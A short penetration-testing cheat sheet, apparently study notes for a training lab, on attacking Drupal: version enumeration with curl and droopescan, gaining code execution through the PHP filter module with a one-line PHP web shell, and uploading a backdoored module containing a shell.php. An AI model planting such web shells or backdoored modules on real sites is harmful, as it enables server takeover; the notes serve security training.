Drupal

Enumeration

Getting Version Number

$ curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""

Automating Using Droopescan

$ droopescan scan drupal -u http://drupal.inlanefreight.local

Exploitation

Code Execution

  • Before Drupal 8

    • Login as admin

    • enable PHP filter module -> Save

    • Content -> Add content -> Basic Page (Set Text Format to PHP Code)

    <?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>

  • Drupal 8 onwards

    • Login as admin

    • $ wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
    • Administrattion -> Reports -> Available Updates

    • Upload the downloaded php filter module

    • You can now do the process of uploading a shell just like in version < 8.0

Uploading a Backdoored Module

  1. Download and extract a module

  1. Create a php webshell

  1. Edit .htaccess

  1. Move the files to the extracted folder and tar (zip) it

  1. Install the backdoored module (Manage -> Extend -> Install new module)

  2. Browse /modules/captcha/shell.php to execute commands.

Drupalgeddon

Last updated